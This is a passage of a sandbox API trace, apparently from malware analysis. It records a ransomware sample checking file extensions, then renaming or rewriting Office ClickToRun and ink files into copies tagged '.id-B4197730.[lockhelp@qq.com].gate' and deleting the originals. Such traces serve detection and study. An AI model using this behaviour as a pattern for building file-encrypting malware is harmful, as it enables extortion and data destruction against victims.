lstrlenW (lpString=".pdf") returned 4 [0321.304] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.304] lstrlenW (lpString=".xls") returned 4 [0321.304] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.304] lstrlenW (lpString=".xlsx") returned 5 [0321.304] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0321.305] lstrlenW (lpString=".ppt") returned 4 [0321.305] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0321.305] lstrlenW (lpString=".zip") returned 4 [0321.305] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.305] lstrlenW (lpString=".rar") returned 4 [0321.305] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.305] lstrlenW (lpString=".bz2") returned 4 [0321.305] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.305] lstrlenW (lpString=".7z") returned 3 [0321.305] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0321.305] lstrlenW (lpString=".dbf") returned 4 [0321.305] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0321.305] lstrlenW (lpString=".1cd") returned 4 [0321.305] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0321.305] lstrlenW (lpString=".jpg") returned 4 [0321.305] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0321.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0321.306] lstrlenW (lpString=".doc") returned 4 [0321.306] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.306] lstrlenW (lpString=".docx") returned 5 [0321.306] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0321.306] lstrlenW (lpString=".pdf") returned 4 [0321.306] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.306] lstrlenW (lpString=".xls") returned 4 [0321.306] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.306] lstrlenW (lpString=".xlsx") returned 5 [0321.306] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0321.306] lstrlenW (lpString=".ppt") returned 4 [0321.306] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0321.306] lstrlenW (lpString=".zip") returned 4 [0321.306] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.306] lstrlenW (lpString=".rar") returned 4 [0321.306] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.306] lstrlenW (lpString=".bz2") returned 4 [0321.306] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.306] lstrlenW (lpString=".7z") returned 3 [0321.306] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0321.306] lstrlenW (lpString=".dbf") returned 4 [0321.306] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0321.306] lstrlenW (lpString=".1cd") returned 4 [0321.307] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0321.307] lstrlenW (lpString=".jpg") returned 4 [0321.307] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.307] lstrcmpiW (lpString1=".exe", lpString2=".gate") returned -1 [0321.307] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0321.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0321.307] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=5967976) returned 1 [0321.307] CloseHandle (hObject=0x380) returned 1 [0321.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20 [0321.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.307] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0321.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[lockhelp@qq.com].gate"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 1 [0321.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0321.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0321.391] lstrlenW (lpString=".doc") returned 4 [0321.391] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0321.391] lstrlenW (lpString=".docx") returned 5 [0321.391] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0321.392] lstrlenW (lpString=".pdf") returned 4 [0321.392] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0321.392] lstrlenW (lpString=".xls") returned 4 [0321.392] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0321.392] lstrlenW (lpString=".xlsx") returned 5 [0321.392] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0321.392] lstrlenW (lpString=".ppt") returned 4 [0321.392] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0321.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0321.392] lstrlenW (lpString=".zip") returned 4 [0321.392] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0321.392] lstrlenW (lpString=".rar") returned 4 [0321.392] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0321.392] lstrlenW (lpString=".bz2") returned 4 [0321.392] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0321.392] lstrlenW (lpString=".7z") returned 3 [0321.392] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0321.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0321.392] lstrlenW (lpString=".dbf") returned 4 [0321.392] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0321.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0321.392] lstrlenW (lpString=".1cd") returned 4 [0321.392] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0321.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0321.392] lstrlenW (lpString=".jpg") returned 4 [0321.392] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0321.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0321.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0321.393] lstrlenW (lpString=".doc") returned 4 [0321.393] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0321.393] lstrlenW (lpString=".docx") returned 5 [0321.393] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0321.393] lstrlenW (lpString=".pdf") returned 4 [0321.393] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0321.393] lstrlenW (lpString=".xls") returned 4 [0321.393] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0321.393] lstrlenW (lpString=".xlsx") returned 5 [0321.393] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0321.393] lstrlenW (lpString=".ppt") returned 4 [0321.393] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0321.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0321.393] lstrlenW (lpString=".zip") returned 4 [0321.393] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0321.393] lstrlenW (lpString=".rar") returned 4 [0321.393] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0321.393] lstrlenW (lpString=".bz2") returned 4 [0321.393] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0321.393] lstrlenW (lpString=".7z") returned 3 [0321.393] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0321.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0321.393] lstrlenW (lpString=".dbf") returned 4 [0321.393] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0321.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0321.393] lstrlenW (lpString=".1cd") returned 4 [0321.393] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0321.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0321.393] lstrlenW (lpString=".jpg") returned 4 [0321.394] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0321.394] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.394] lstrlenW (lpString="OfficeC2RCom.dll") returned 16 [0321.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0321.394] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=996568) returned 1 [0321.394] CloseHandle (hObject=0x380) returned 1 [0321.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0321.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0321.396] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.396] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0321.396] GetLastError () returned 0x0 [0321.396] ReadFile (in: hFile=0x380, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0xf34d8, lpOverlapped=0x0) returned 1 [0321.726] WriteFile (in: hFile=0x378, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0xf34e0, lpOverlapped=0x0) returned 1 [0321.740] ReadFile (in: hFile=0x380, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.740] WriteFile (in: hFile=0x378, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0xf4, lpOverlapped=0x0) returned 1 [0321.740] SetEndOfFile (hFile=0x378) returned 1 [0321.740] CloseHandle (hObject=0x378) returned 1 [0321.740] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.740] SetEndOfFile (hFile=0x380) returned 1 [0321.747] CloseHandle (hObject=0x380) returned 1 [0321.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.748] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1 [0321.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0321.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0321.749] lstrlenW (lpString=".doc") returned 4 [0321.749] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.749] lstrlenW (lpString=".docx") returned 5 [0321.749] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0321.749] lstrlenW (lpString=".pdf") returned 4 [0321.749] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.749] lstrlenW (lpString=".xls") returned 4 [0321.749] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.749] lstrlenW (lpString=".xlsx") returned 5 [0321.749] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0321.749] lstrlenW (lpString=".ppt") returned 4 [0321.749] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0321.749] lstrlenW (lpString=".zip") returned 4 [0321.749] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.749] lstrlenW (lpString=".rar") returned 4 [0321.749] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.749] lstrlenW (lpString=".bz2") returned 4 [0321.749] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.749] lstrlenW (lpString=".7z") returned 3 [0321.749] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0321.749] lstrlenW (lpString=".dbf") returned 4 [0321.749] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0321.749] lstrlenW (lpString=".1cd") returned 4 [0321.750] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0321.750] lstrlenW (lpString=".jpg") returned 4 [0321.750] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0321.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0321.750] lstrlenW (lpString=".doc") returned 4 [0321.750] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.750] lstrlenW (lpString=".docx") returned 5 [0321.750] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0321.750] lstrlenW (lpString=".pdf") returned 4 [0321.750] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.750] lstrlenW (lpString=".xls") returned 4 [0321.750] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.750] lstrlenW (lpString=".xlsx") returned 5 [0321.750] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0321.750] lstrlenW (lpString=".ppt") returned 4 [0321.750] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0321.750] lstrlenW (lpString=".zip") returned 4 [0321.750] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.750] lstrlenW (lpString=".rar") returned 4 [0321.750] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.750] lstrlenW (lpString=".bz2") returned 4 [0321.750] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.750] lstrlenW (lpString=".7z") returned 3 [0321.750] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0321.750] lstrlenW (lpString=".dbf") returned 4 [0321.750] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0321.750] lstrlenW (lpString=".1cd") returned 4 [0321.750] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0321.751] lstrlenW (lpString=".jpg") returned 4 [0321.751] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.751] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0321.751] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0321.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0321.751] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10240) returned 1 [0321.751] CloseHandle (hObject=0x380) returned 1 [0321.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0321.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0321.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0321.751] lstrlenW (lpString=".doc") returned 4 [0321.752] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.752] lstrlenW (lpString=".docx") returned 5 [0321.752] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.752] lstrlenW (lpString=".pdf") returned 4 [0321.752] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.752] lstrlenW (lpString=".xls") returned 4 [0321.752] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.752] lstrlenW (lpString=".xlsx") returned 5 [0321.752] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.752] lstrlenW (lpString=".ppt") returned 4 [0321.752] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0321.752] lstrlenW (lpString=".zip") returned 4 [0321.752] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.752] lstrlenW (lpString=".rar") returned 4 [0321.752] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.752] lstrlenW (lpString=".bz2") returned 4 [0321.752] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.752] lstrlenW (lpString=".7z") returned 3 [0321.752] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0321.752] lstrlenW (lpString=".dbf") returned 4 [0321.752] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0321.752] lstrlenW (lpString=".1cd") returned 4 [0321.752] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0321.752] lstrlenW (lpString=".jpg") returned 4 [0321.752] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0321.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0321.752] lstrlenW (lpString=".doc") returned 4 [0321.752] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.752] lstrlenW (lpString=".docx") returned 5 [0321.753] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.753] lstrlenW (lpString=".pdf") returned 4 [0321.753] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.753] lstrlenW (lpString=".xls") returned 4 [0321.753] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.753] lstrlenW (lpString=".xlsx") returned 5 [0321.753] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.753] lstrlenW (lpString=".ppt") returned 4 [0321.753] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0321.753] lstrlenW (lpString=".zip") returned 4 [0321.753] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.753] lstrlenW (lpString=".rar") returned 4 [0321.753] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.753] lstrlenW (lpString=".bz2") returned 4 [0321.753] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.753] lstrlenW (lpString=".7z") returned 3 [0321.753] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0321.753] lstrlenW (lpString=".dbf") returned 4 [0321.753] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0321.753] lstrlenW (lpString=".1cd") returned 4 [0321.753] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0321.753] lstrlenW (lpString=".jpg") returned 4 [0321.753] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.753] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0321.753] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0321.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0321.754] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10240) returned 1 [0321.754] CloseHandle (hObject=0x380) returned 1 [0321.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0321.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft 